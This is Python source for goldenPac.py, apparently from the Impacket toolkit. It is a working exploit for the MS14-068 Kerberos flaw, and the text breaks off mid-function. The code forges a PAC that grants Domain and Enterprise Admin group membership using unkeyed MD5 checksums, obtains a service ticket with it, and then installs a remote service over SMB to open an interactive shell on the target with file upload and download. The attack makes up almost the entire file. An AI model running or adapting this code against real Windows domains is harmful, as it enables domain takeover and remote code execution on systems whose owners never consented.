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goldenPac.py
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goldenPac.py
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#!/usr/bin/env python
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# MS14-068 Exploit. Kudos to @BiDOrD for pulling it up first!
# Well done :).
# This one also established a SMBConnection and PSEXEcs the
# target.
# A few important things:
# 1) you must use the domain FQDN or use -dc-ip switch
# 2) target must be a FQDN as well and matching the target's NetBIOS
# 3) Just RC4 at the moment - DONE (aes256 added)
# 4) It won't work on Kerberos-only Domains (but can be fixed)
# 5) Use WMIEXEC approach instead
#
# E.G:
# python goldenPac domain.net/normaluser@domain-host
# the password will be asked, or
#
# python goldenPac.py domain.net/normaluser:mypwd@domain-host
#
# if domain.net and/or domain-host do not resolve, add them
# to the hosts file or use the -dc-ip and -target-ip parameters
#
from __future__ import division
from __future__ import print_function
import cmd
import logging
import os
import random
import string
import time
from binascii import unhexlify
from threading import Thread, Lock
from six import PY3
from impacket.dcerpc.v5 import epm
from impacket.dcerpc.v5.drsuapi import MSRPC_UUID_DRSUAPI, hDRSDomainControllerInfo, DRSBind, NTDSAPI_CLIENT_GUID, \
DRS_EXTENSIONS_INT, DRS_EXT_GETCHGREQ_V6, DRS_EXT_GETCHGREPLY_V6, DRS_EXT_GETCHGREQ_V8, DRS_EXT_STRONG_ENCRYPTION, \
NULLGUID
from impacket.dcerpc.v5.dtypes import RPC_SID, MAXIMUM_ALLOWED
from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS, hLsarOpenPolicy2
from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, POLICY_LOOKUP_NAMES
from impacket.dcerpc.v5.nrpc import MSRPC_UUID_NRPC, hDsrGetDcNameEx
from impacket.dcerpc.v5.rpcrt import TypeSerialization1, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.krb5.pac import PKERB_VALIDATION_INFO, KERB_VALIDATION_INFO, KERB_SID_AND_ATTRIBUTES, PAC_CLIENT_INFO, \
PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, \
PAC_PRIVSVR_CHECKSUM, PACTYPE
from impacket.examples import logger
from impacket.examples import remcomsvc, serviceinstall
from impacket.smbconnection import SMBConnection, smb
from impacket.structure import Structure
################################################################################
# HELPER FUNCTIONS
################################################################################
def getFileTime(t):
t *= 10000000
t += 116444736000000000
return t
class RemComMessage(Structure):
structure = (
('Command','4096s=""'),
('WorkingDir','260s=""'),
('Priority','<L=0x20'),
('ProcessID','<L=0x01'),
('Machine','260s=""'),
('NoWait','<L=0'),
)
class RemComResponse(Structure):
structure = (
('ErrorCode','<L=0'),
('ReturnCode','<L=0'),
)
RemComSTDOUT = "RemCom_stdout"
RemComSTDIN = "RemCom_stdin"
RemComSTDERR = "RemCom_stderr"
lock = Lock()
class PSEXEC:
def __init__(self, command, username, domain, smbConnection, TGS, copyFile):
self.__username = username
self.__command = command
self.__path = None
self.__domain = domain
self.__exeFile = None
self.__copyFile = copyFile
self.__TGS = TGS
self.__smbConnection = smbConnection
def run(self, addr):
rpctransport = transport.SMBTransport(addr, filename='/svcctl', smb_connection=self.__smbConnection)
dce = rpctransport.get_dce_rpc()
try:
dce.connect()
except Exception as e:
logging.critical(str(e))
sys.exit(1)
global dialect
dialect = rpctransport.get_smb_connection().getDialect()
try:
unInstalled = False
s = rpctransport.get_smb_connection()
# We don't wanna deal with timeouts from now on.
s.setTimeout(100000)
if self.__exeFile is None:
installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc())
else:
try:
f = open(self.__exeFile)
except Exception as e:
logging.critical(str(e))
sys.exit(1)
installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), f)
installService.install()
if self.__exeFile is not None:
f.close()
# Check if we need to copy a file for execution
if self.__copyFile is not None:
installService.copy_file(self.__copyFile, installService.getShare(), os.path.basename(self.__copyFile))
# And we change the command to be executed to this filename
self.__command = os.path.basename(self.__copyFile) + ' ' + self.__command
tid = s.connectTree('IPC$')
fid_main = self.openPipe(s,tid,r'\RemCom_communicaton',0x12019f)
packet = RemComMessage()
pid = os.getpid()
packet['Machine'] = ''.join([random.choice(string.ascii_letters) for _ in range(4)])
if self.__path is not None:
packet['WorkingDir'] = self.__path
packet['Command'] = self.__command
packet['ProcessID'] = pid
s.writeNamedPipe(tid, fid_main, packet.getData())
# Here we'll store the command we type so we don't print it back ;)
# ( I know.. globals are nasty :P )
global LastDataSent
LastDataSent = ''
# Create the pipes threads
stdin_pipe = RemoteStdInPipe(rpctransport,
r'\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']),
smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, self.__TGS,
installService.getShare())
stdin_pipe.start()
stdout_pipe = RemoteStdOutPipe(rpctransport,
r'\%s%s%d' % (RemComSTDOUT, packet['Machine'], packet['ProcessID']),
smb.FILE_READ_DATA)
stdout_pipe.start()
stderr_pipe = RemoteStdErrPipe(rpctransport,
r'\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']),
smb.FILE_READ_DATA)
stderr_pipe.start()
# And we stay here till the end
ans = s.readNamedPipe(tid,fid_main,8)
if len(ans):
retCode = RemComResponse(ans)
logging.info("Process %s finished with ErrorCode: %d, ReturnCode: %d" % (
self.__command, retCode['ErrorCode'], retCode['ReturnCode']))
installService.uninstall()
if self.__copyFile is not None:
# We copied a file for execution, let's remove it
s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile))
unInstalled = True
sys.exit(retCode['ErrorCode'])
except SystemExit:
raise
except Exception as e:
logging.debug(str(e))
if unInstalled is False:
installService.uninstall()
if self.__copyFile is not None:
s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile))
sys.stdout.flush()
sys.exit(1)
def openPipe(self, s, tid, pipe, accessMask):
pipeReady = False
tries = 50
while pipeReady is False and tries > 0:
try:
s.waitNamedPipe(tid,pipe)
pipeReady = True
except Exception as e:
print(str(e))
tries -= 1
time.sleep(2)
pass
if tries == 0:
raise Exception('Pipe not ready, aborting')
fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80)
return fid
class Pipes(Thread):
def __init__(self, transport, pipe, permissions, TGS=None, share=None):
Thread.__init__(self)
self.server = 0
self.transport = transport
self.credentials = transport.get_credentials()
self.tid = 0
self.fid = 0
self.share = share
self.port = transport.get_dport()
self.pipe = pipe
self.permissions = permissions
self.TGS = TGS
self.daemon = True
def connectPipe(self):
try:
lock.acquire()
global dialect
self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(),
sess_port=self.port, preferredDialect=dialect)
user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
self.server.login(user, passwd, domain, lm, nt)
lock.release()
self.tid = self.server.connectTree('IPC$')
self.server.waitNamedPipe(self.tid, self.pipe)
self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80)
self.server.setTimeout(1000000)
except:
logging.critical("Something wen't wrong connecting the pipes(%s), try again" % self.__class__)
class RemoteStdOutPipe(Pipes):
def __init__(self, transport, pipe, permisssions):
Pipes.__init__(self, transport, pipe, permisssions)
def run(self):
self.connectPipe()
while True:
try:
ans = self.server.readFile(self.tid,self.fid, 0, 1024)
except:
pass
else:
try:
global LastDataSent
if ans != LastDataSent:
sys.stdout.write(ans.decode('cp437'))
sys.stdout.flush()
else:
# Don't echo what I sent, and clear it up
LastDataSent = ''
# Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,
# it will give false positives tho.. we should find a better way to handle this.
if LastDataSent > 10:
LastDataSent = ''
except:
pass
class RemoteStdErrPipe(Pipes):
def __init__(self, transport, pipe, permisssions):
Pipes.__init__(self, transport, pipe, permisssions)
def run(self):
self.connectPipe()
while True:
try:
ans = self.server.readFile(self.tid,self.fid, 0, 1024)
except:
pass
else:
try:
sys.stderr.write(str(ans))
sys.stderr.flush()
except:
pass
class RemoteShell(cmd.Cmd):
def __init__(self, server, port, credentials, tid, fid, TGS, share):
cmd.Cmd.__init__(self, False)
self.prompt = '\x08'
self.server = server
self.transferClient = None
self.tid = tid
self.fid = fid
self.credentials = credentials
self.share = share
self.port = port
self.TGS = TGS
self.intro = '[!] Press help for extra shell commands'
def connect_transferClient(self):
self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port,
preferredDialect=dialect)
user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGS=self.TGS, useCache=False)
def do_help(self, line):
print("""
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s)
get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir
! {cmd} - executes a local shell cmd
""" % (self.share, self.share))
self.send_data('\r\n', False)
def do_shell(self, s):
os.system(s)
self.send_data('\r\n')
def do_get(self, src_path):
try:
if self.transferClient is None:
self.connect_transferClient()
import ntpath
filename = ntpath.basename(src_path)
fh = open(filename,'wb')
logging.info("Downloading %s\\%s" % (self.share, src_path))
self.transferClient.getFile(self.share, src_path, fh.write)
fh.close()
except Exception as e:
logging.error(str(e))
pass
self.send_data('\r\n')
def do_put(self, s):
try:
if self.transferClient is None:
self.connect_transferClient()
params = s.split(' ')
if len(params) > 1:
src_path = params[0]
dst_path = params[1]
elif len(params) == 1:
src_path = params[0]
dst_path = '/'
src_file = os.path.basename(src_path)
fh = open(src_path, 'rb')
f = dst_path + '/' + src_file
pathname = f.replace('/','\\')
logging.info("Uploading %s to %s\\%s" % (src_file, self.share, dst_path))
if PY3:
self.transferClient.putFile(self.share, pathname, fh.read)
else:
self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read)
fh.close()
except Exception as e:
logging.error(str(e))
pass
self.send_data('\r\n')
def do_lcd(self, s):
if s == '':
print(os.getcwd())
else:
try:
os.chdir(s)
except Exception as e:
logging.error(str(e))
self.send_data('\r\n')
def emptyline(self):
self.send_data('\r\n')
return
def default(self, line):
if PY3:
self.send_data(line.encode('cp437')+b'\r\n')
else:
self.send_data(line.decode(sys.stdin.encoding).encode('cp437')+'\r\n')
def send_data(self, data, hideOutput = True):
if hideOutput is True:
global LastDataSent
LastDataSent = data
else:
LastDataSent = ''
self.server.writeFile(self.tid, self.fid, data)
class RemoteStdInPipe(Pipes):
def __init__(self, transport, pipe, permisssions, TGS=None, share=None):
Pipes.__init__(self, transport, pipe, permisssions, TGS, share)
def run(self):
self.connectPipe()
shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.TGS, self.share)
shell.cmdloop()
class MS14_068:
# 6.1. Unkeyed Checksums
# Vulnerable DCs are accepting at least these unkeyed checksum types
CRC_32 = 1
RSA_MD4 = 2
RSA_MD5 = 7
class VALIDATION_INFO(TypeSerialization1):
structure = (
('Data', PKERB_VALIDATION_INFO),
)
def __init__(self, target, targetIp=None, username='', password='', domain='', hashes=None, command='',
copyFile=None, writeTGT=None, kdcHost=None):
self.__username = username
self.__password = password
self.__domain = domain
self.__rid = 0
self.__lmhash = ''
self.__nthash = ''
self.__target = target
self.__targetIp = targetIp
self.__kdcHost = None
self.__copyFile = copyFile
self.__command = command
self.__writeTGT = writeTGT
self.__domainSid = ''
self.__forestSid = None
self.__domainControllers = list()
self.__kdcHost = kdcHost
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
self.__lmhash = unhexlify(self.__lmhash)
self.__nthash = unhexlify(self.__nthash)
def getGoldenPAC(self, authTime):
# Ok.. we need to build a PAC_TYPE with the following items
# 1) KERB_VALIDATION_INFO
aTime = timegm(strptime(str(authTime), '%Y%m%d%H%M%SZ'))
unixTime = getFileTime(aTime)
kerbdata = KERB_VALIDATION_INFO()
kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff
kerbdata['LogonTime']['dwHighDateTime'] = unixTime >>32
# LogoffTime: A FILETIME structure that contains the time the client's logon
# session should expire. If the session should not expire, this structure
# SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime
# member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as
# an indicator of when to warn the user that the allowed time is due to expire.
kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF
# KickOffTime: A FILETIME structure that contains LogoffTime minus the user
# account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the
# client should not be logged off, this structure SHOULD have the dwHighDateTime
# member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF.
# The Kerberos service ticket end time is a replacement for KickOffTime.
# The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of
# an account. A recipient of the PAC SHOULD<8> use this value as the indicator
# of when the client should be forcibly disconnected.
kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF
kerbdata['PasswordLastSet']['dwLowDateTime'] = 0
kerbdata['PasswordLastSet']['dwHighDateTime'] = 0
kerbdata['PasswordCanChange']['dwLowDateTime'] = 0
kerbdata['PasswordCanChange']['dwHighDateTime'] = 0
# PasswordMustChange: A FILETIME structure that contains the time at which
# theclient's password expires. If the password will not expire, this
# structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the
# dwLowDateTime member set to 0xFFFFFFFF.
kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF
kerbdata['EffectiveName'] = self.__username
kerbdata['FullName'] = ''
kerbdata['LogonScript'] = ''
kerbdata['ProfilePath'] = ''
kerbdata['HomeDirectory'] = ''
kerbdata['HomeDirectoryDrive'] = ''
kerbdata['LogonCount'] = 0
kerbdata['BadPasswordCount'] = 0
kerbdata['UserId'] = self.__rid
kerbdata['PrimaryGroupId'] = 513
# Our Golden Well-known groups! :)
groups = (513, 512, 520, 518, 519)
kerbdata['GroupCount'] = len(groups)
for group in groups:
groupMembership = GROUP_MEMBERSHIP()
groupId = NDRULONG()
groupId['Data'] = group
groupMembership['RelativeId'] = groupId
groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
kerbdata['GroupIds'].append(groupMembership)
kerbdata['UserFlags'] = 0
kerbdata['UserSessionKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
kerbdata['LogonServer'] = ''
kerbdata['LogonDomainName'] = self.__domain
kerbdata['LogonDomainId'] = self.__domainSid
kerbdata['LMKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00'
kerbdata['UserAccountControl']= USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD
kerbdata['SubAuthStatus'] = 0
kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0
kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0
kerbdata['LastFailedILogon']['dwLowDateTime'] = 0
kerbdata['LastFailedILogon']['dwHighDateTime'] = 0
kerbdata['FailedILogonCount'] = 0
kerbdata['Reserved3'] = 0
# AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY: A SID that means the client's identity is
# asserted by an authentication authority based on proof of possession of client credentials.
#extraSids = ('S-1-18-1',)
if self.__forestSid is not None:
extraSids = ('%s-%s' % (self.__forestSid, '519'),)
kerbdata['SidCount'] = len(extraSids)
kerbdata['UserFlags'] |= 0x20
else:
extraSids = ()
kerbdata['SidCount'] = len(extraSids)
for extraSid in extraSids:
sidRecord = KERB_SID_AND_ATTRIBUTES()
sid = RPC_SID()
sid.fromCanonical(extraSid)
sidRecord['Sid'] = sid
sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
kerbdata['ExtraSids'].append(sidRecord)
kerbdata['ResourceGroupDomainSid'] = NULL
kerbdata['ResourceGroupCount'] = 0
kerbdata['ResourceGroupIds'] = NULL
validationInfo = self.VALIDATION_INFO()
validationInfo['Data'] = kerbdata
if logging.getLogger().level == logging.DEBUG:
logging.debug('VALIDATION_INFO')
validationInfo.dump()
print ('\n')
validationInfoBlob = validationInfo.getData() + validationInfo.getDataReferents()
validationInfoAlignment = b'\x00' * (((len(validationInfoBlob) + 7) // 8 * 8) - len(validationInfoBlob))
# 2) PAC_CLIENT_INFO
pacClientInfo = PAC_CLIENT_INFO()
pacClientInfo['ClientId'] = unixTime
try:
name = self.__username.encode('utf-16le')
except UnicodeDecodeError:
import sys
name = self.__username.decode(sys.getfilesystemencoding()).encode('utf-16le')
pacClientInfo['NameLength'] = len(name)
pacClientInfo['Name'] = name
pacClientInfoBlob = pacClientInfo.getData()
pacClientInfoAlignment = b'\x00' * (((len(pacClientInfoBlob) + 7) // 8 * 8) - len(pacClientInfoBlob))
# 3) PAC_SERVER_CHECKSUM/PAC_SIGNATURE_DATA
serverChecksum = PAC_SIGNATURE_DATA()
# If you wanna do CRC32, uncomment this
#serverChecksum['SignatureType'] = self.CRC_32
#serverChecksum['Signature'] = b'\x00'*4
# If you wanna do MD4, uncomment this
#serverChecksum['SignatureType'] = self.RSA_MD4
#serverChecksum['Signature'] = b'\x00'*16
# If you wanna do MD5, uncomment this
serverChecksum['SignatureType'] = self.RSA_MD5
serverChecksum['Signature'] = b'\x00'*16
serverChecksumBlob = serverChecksum.getData()
serverChecksumAlignment = b'\x00' * (((len(serverChecksumBlob) + 7) // 8 * 8) - len(serverChecksumBlob))
# 4) PAC_PRIVSVR_CHECKSUM/PAC_SIGNATURE_DATA
privSvrChecksum = PAC_SIGNATURE_DATA()
# If you wanna do CRC32, uncomment this
#privSvrChecksum['SignatureType'] = self.CRC_32
#privSvrChecksum['Signature'] = b'\x00'*4
# If you wanna do MD4, uncomment this
#privSvrChecksum['SignatureType'] = self.RSA_MD4
#privSvrChecksum['Signature'] = b'\x00'*16
# If you wanna do MD5, uncomment this
privSvrChecksum['SignatureType'] = self.RSA_MD5
privSvrChecksum['Signature'] = b'\x00'*16
privSvrChecksumBlob = privSvrChecksum.getData()
privSvrChecksumAlignment = b'\x00' * (((len(privSvrChecksumBlob) + 7) // 8 * 8) - len(privSvrChecksumBlob))
# The offset are set from the beginning of the PAC_TYPE
# [MS-PAC] 2.4 PAC_INFO_BUFFER
offsetData = 8 + len(PAC_INFO_BUFFER().getData())*4
# Let's build the PAC_INFO_BUFFER for each one of the elements
validationInfoIB = PAC_INFO_BUFFER()
validationInfoIB['ulType'] = PAC_LOGON_INFO
validationInfoIB['cbBufferSize'] = len(validationInfoBlob)
validationInfoIB['Offset'] = offsetData
offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) // 8 * 8
pacClientInfoIB = PAC_INFO_BUFFER()
pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE
pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)
pacClientInfoIB['Offset'] = offsetData
offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) // 8 * 8
serverChecksumIB = PAC_INFO_BUFFER()
serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM
serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)
serverChecksumIB['Offset'] = offsetData
offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) // 8 * 8
privSvrChecksumIB = PAC_INFO_BUFFER()
privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM
privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)
privSvrChecksumIB['Offset'] = offsetData
#offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) //8 *8
# Building the PAC_TYPE as specified in [MS-PAC]
buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + serverChecksumIB.getData() + \
privSvrChecksumIB.getData() + validationInfoBlob + validationInfoAlignment + \
pacClientInfo.getData() + pacClientInfoAlignment
buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment
pacType = PACTYPE()
pacType['cBuffers'] = 4
pacType['Version'] = 0
pacType['Buffers'] = buffers + buffersTail
blobToChecksum = pacType.getData()
# If you want to do CRC-32, ucomment this
#serverChecksum['Signature'] = struct.pack('<L', (binascii.crc32(blobToChecksum, 0xffffffff) ^ 0xffffffff) & 0xffffffff)
#privSvrChecksum['Signature'] = struct.pack('<L', (binascii.crc32(serverChecksum['Signature'], 0xffffffff) ^ 0xffffffff) & 0xffffffff)
# If you want to do MD4, ucomment this
#serverChecksum['Signature'] = MD4.new(blobToChecksum).digest()
#privSvrChecksum['Signature'] = MD4.new(serverChecksum['Signature']).digest()
# If you want to do MD5, ucomment this
serverChecksum['Signature'] = MD5.new(blobToChecksum).digest()
privSvrChecksum['Signature'] = MD5.new(serverChecksum['Signature']).digest()
buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment
pacType['Buffers'] = buffers + buffersTail
authorizationData = AuthorizationData()
authorizationData[0] = noValue
authorizationData[0]['ad-type'] = int(constants.AuthorizationDataType.AD_WIN2K_PAC.value)
authorizationData[0]['ad-data'] = pacType.getData()
return encoder.encode(authorizationData)
def getKerberosTGS(self, serverName, domain, kdcHost, tgt, cipher, sessionKey, authTime):
# Get out Golden PAC
goldenPAC = self.getGoldenPAC(authTime)
decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT['ticket'])
# Now put the goldenPac inside the AuthorizationData AD_IF_RELEVANT
ifRelevant = AD_IF_RELEVANT()
ifRelevant[0] = noValue
ifRelevant[0]['ad-type'] = int(constants.AuthorizationDataType.AD_IF_RELEVANT.value)
ifRelevant[0]['ad-data'] = goldenPAC
encodedIfRelevant = encoder.encode(ifRelevant)
# Key Usage 4
# TGS-REQ KDC-REQ-BODY AuthorizationData, encrypted with
# the TGS session key (Section 5.4.1)
encryptedEncodedIfRelevant = cipher.encrypt(sessionKey, 4, encodedIfRelevant, None)
tgsReq = TGS_REQ()
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
opts.append( constants.KDCOptions.forwardable.value )
opts.append( constants.KDCOptions.renewable.value )
opts.append( constants.KDCOptions.proxiable.value )
reqBody['kdc-options'] = constants.encodeFlags(opts)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
reqBody['realm'] = decodedTGT['crealm'].prettyPrint()
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.SystemRandom().getrandbits(31)
seq_set_iter(reqBody, 'etype', (cipher.enctype,))
reqBody['enc-authorization-data'] = noValue
reqBody['enc-authorization-data']['etype'] = int(cipher.enctype)
reqBody['enc-authorization-data']['cipher'] = encryptedEncodedIfRelevant
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq,'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = decodedTGT['crealm'].prettyPrint()
clientName = Principal()
clientName.from_asn1( decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = noValue
tgsReq['padata'][0] = noValue
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
pacRequest = KERB_PA_PAC_REQUEST()
pacRequest['include-pac'] = False
encodedPacRequest = encoder.encode(pacRequest)
tgsReq['padata'][1] = noValue
tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
tgsReq['padata'][1]['padata-value'] = encodedPacRequest
message = encoder.encode(tgsReq)
r = sendReceive(message, domain, kdcHost)
# Get the session key
tgs = decoder.decode(r, asn1Spec = TGS_REP())[0]
cipherText = tgs['enc-part']['cipher']
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key (Section 5.4.2)
plainText = cipher.decrypt(sessionKey, 8, cipherText)
encTGSRepPart = decoder.decode(plainText, asn1Spec = EncTGSRepPart())[0]
newSessionKey = Key(cipher.enctype, encTGSRepPart['key']['keyvalue'].asOctets())
return r, cipher, sessionKey, newSessionKey
def getForestSid(self):
logging.debug('Calling NRPC DsrGetDcNameEx()')
stringBinding = r'ncacn_np:%s[\pipe\netlogon]' % self.__kdcHost
rpctransport = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(MSRPC_UUID_NRPC)
resp = hDsrGetDcNameEx(dce, NULL, NULL, NULL, NULL, 0)
forestName = resp['DomainControllerInfo']['DnsForestName'][:-1]
logging.debug('DNS Forest name is %s' % forestName)
dce.disconnect()
logging.debug('Calling LSAT hLsarQueryInformationPolicy2()')
stringBinding = r'ncacn_np:%s[\pipe\lsarpc]' % forestName
rpctransport = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(MSRPC_UUID_LSAT)
resp = hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | POLICY_LOOKUP_NAMES)
policyHandle = resp['PolicyHandle']
resp = hLsarQueryInformationPolicy2(dce, policyHandle, POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
dce.disconnect()
forestSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()
logging.info("Forest SID: %s"% forestSid)
return forestSid
def getDomainControllers(self):
logging.debug('Calling DRSDomainControllerInfo()')
stringBinding = epm.hept_map(self.__domain, MSRPC_UUID_DRSUAPI, protocol = 'ncacn_ip_tcp')
rpctransport = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash)
dce = rpctransport.get_dce_rpc()
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.connect()
dce.bind(MSRPC_UUID_DRSUAPI)
request = DRSBind()
request['puuidClientDsa'] = NTDSAPI_CLIENT_GUID
drs = DRS_EXTENSIONS_INT()
drs['cb'] = len(drs) #- 4
drs['dwFlags'] = DRS_EXT_GETCHGREQ_V6 | DRS_EXT_GETCHGREPLY_V6 | DRS_EXT_GETCHGREQ_V8 | DRS_EXT_STRONG_ENCRYPTION
drs['SiteObjGuid'] = NULLGUID
drs['Pid'] = 0
drs['dwReplEpoch'] = 0
drs['dwFlagsExt'] = 0
drs['ConfigObjGUID'] = NULLGUID
drs['dwExtCaps'] = 127
request['pextClient']['cb'] = len(drs.getData())
request['pextClient']['rgb'] = list(drs.getData())
resp = dce.request(request)
dcs = hDRSDomainControllerInfo(dce, resp['phDrs'], self.__domain, 1)
dce.disconnect()
domainControllers = list()
for dc in dcs['pmsgOut']['V1']['rItems']:
logging.debug('Found domain controller %s' % dc['DnsHostName'][:-1])
domainControllers.append(dc['DnsHostName'][:-1])
return domainControllers
def getUserSID(self):
stringBinding = r'ncacn_np:%s[\pipe\samr]' % self.__kdcHost
rpctransport = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
resp = samr.hSamrConnect(dce)
serverHandle = resp['ServerHandle']
resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, self.__domain)
domainId = resp['DomainId']
resp = samr.hSamrOpenDomain(dce, serverHandle, domainId = domainId)
domainHandle = resp['DomainHandle']
resp = samr.hSamrLookupNamesInDomain(dce, domainHandle, (self.__username,))
# Let's pick the relative ID
rid = resp['RelativeIds']['Element'][0]['Data']
logging.info("User SID: %s-%s"% (domainId.formatCanonical(), rid))
return domainId, rid
def exploit(self):
if self.__kdcHost is None:
getDCs = True
self.__kdcHost = self.__domain
else:
getDCs = False
self.__domainSid, self.__rid = self.getUserSID()
try:
self.__forestSid = self.getForestSid()
except Exception as e:
